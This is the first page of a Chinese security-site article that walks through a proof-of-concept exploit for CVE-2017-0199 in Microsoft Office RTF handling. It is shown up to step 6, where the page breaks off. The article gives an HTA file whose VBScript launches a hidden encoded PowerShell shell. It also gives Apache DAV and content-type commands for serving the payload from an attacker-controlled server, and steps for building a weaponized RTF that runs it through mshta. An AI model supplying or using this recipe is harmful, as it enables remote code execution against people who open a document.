欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

CVE-2017-0199:Microsoft Office RTF 漏洞利用 PoC

来源:本站整理 作者:佚名 时间:2017-04-17 TAG: 我要投稿

0x01 介绍
自FireFye检测并发布CVE-2017-0199以来,我一直在研究这个漏洞,在微软正式发布补丁后,我决定发布这个PoC。我的利用方式可能与其他研究人员的利用方法不同,这个利用方法可能会更轻松一点。
CVE-2017-0199:当用户打开包含嵌入式漏洞的文档时,winword.exe会向远程服务器发出HTTP请求,以检索恶意HTA文件,服务器返回的文件时一个带有嵌入式恶意脚本的假RTF文件,winword.exe通过COM对象查找application/hta的文件处理程序,这会导致Microsoft HTA应用程序(mshta.exe)加载并执行恶意脚本。
0x02 技术背景
我们可以将OLEv2链接包含在现有文档中。 这些对象将反映加载到文档中的源链接中的当前内容。
令人惊奇的是,如果尝试将HTA链接包含为OLEv2对象,那么它将被执行一次(在创建时),但Winword将返回一个错误,如:

在这种情况下的问题是HTA文件不会被持久化(如果你将其链接到文件+创建图标,那么它可能可以做到持久化,但是我们想要它隐藏并自动运行)。
我开始通过思考如何处理不是恶意的OLE对象链接到远程RTF文件…为了实现在“proper”Microsoft Office中的预期方式,我一点点修改在Apache中服务我的文件的内容类型和DAV模块…(这将在下一章讨论)。
从那里开始,我会有一个有效的嵌入对象链接,在每次自动更新后都打开我的文档!
下一步,在HTA中用我的有效载荷修改来源的文档!
在这种情况下,我能够:
 为真正的RTF文件创建一个动态OLEv2对象链接
使用我的有效载荷修改源的RTF
 如果想创建一个直接链接到HTA文档,请绕过所产生的错误
0x03 技术细节
步骤1
准备一个HTA文件:(HTA文件是可以运行JScript和VBscript的HTML应用程序)
我们创建一个“ms.hta”文件:
  
     
     
     
   Bonjour 
  
  Set owFrClN0giJ = CreateObject("Wscript.Shell")  
  Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject") 
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then 
   owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL" 
  End If 
  
 
     id="oHTA" 
     applicationname="Bonjour" 
     application="yes" 
   > 
    
    
     
    
      
    
    
  
步骤2
使用任意随机内容在Winword中创建一个简单的RTF文档。(在例子中,我使用字符串来作为我的内容)
命名为“ms.rtf”。
步骤3
将这2个文件发送到被我们完全控制的网络服务器上。我们假定它将被存储在/var/www/html中。
现在我们必须配置Apache才能将ms.rtf作为一个链接。配置Apache:
 a2enmod dav
 a2enmod dav_fs
 a2enmod dav_lock
 a2enmod headers
 service apache2 restart
以下命令将会:
将“Content-Type application/rtf”添加到/ms中的所有文件中
允许Microsoft Office执行的PROPFIND请求
Modify virtualhost and include:
 
 Header set Content-Type "application/rtf"
 
 
 Dav on
 
service apache2 restart
步骤4
使用Winword的“ exploit.rtf ” 创建一个简单的RTF文档,这将是我们的exploit!
插入 – >对象

CVE-2017-0199创建OLEv2外部链接
单击确定后,我们将获得只包含随机字符串内容的“ms.rtf”文件。将该文件保存为“ exploit.rtf ”。

CVE-2017-0199创建Olev2链接对象
在这一步我们可以关闭Winword,并转到下一步改变ms.rtf的内容与HTA有效载荷…
步骤5
以下步骤将:
更改自定义HTA有效载荷中包含的ms.rtf
Web服务器将发送“application/hta”的内容类型…这将由Winword客户端解析,它将运行mshta来处理这个内容类型并执行我们的有效载荷
cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf
vi /etc/apache2/sites-enables/000-default
Change -> application/rtf to application/hta
like:
 
Header set Content-Type "application/hta"
service apache2 restart
步骤6
在这一步,如果用户打开“exploit.rtf”文件了,他必须要双击链接对象来启动攻击…

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载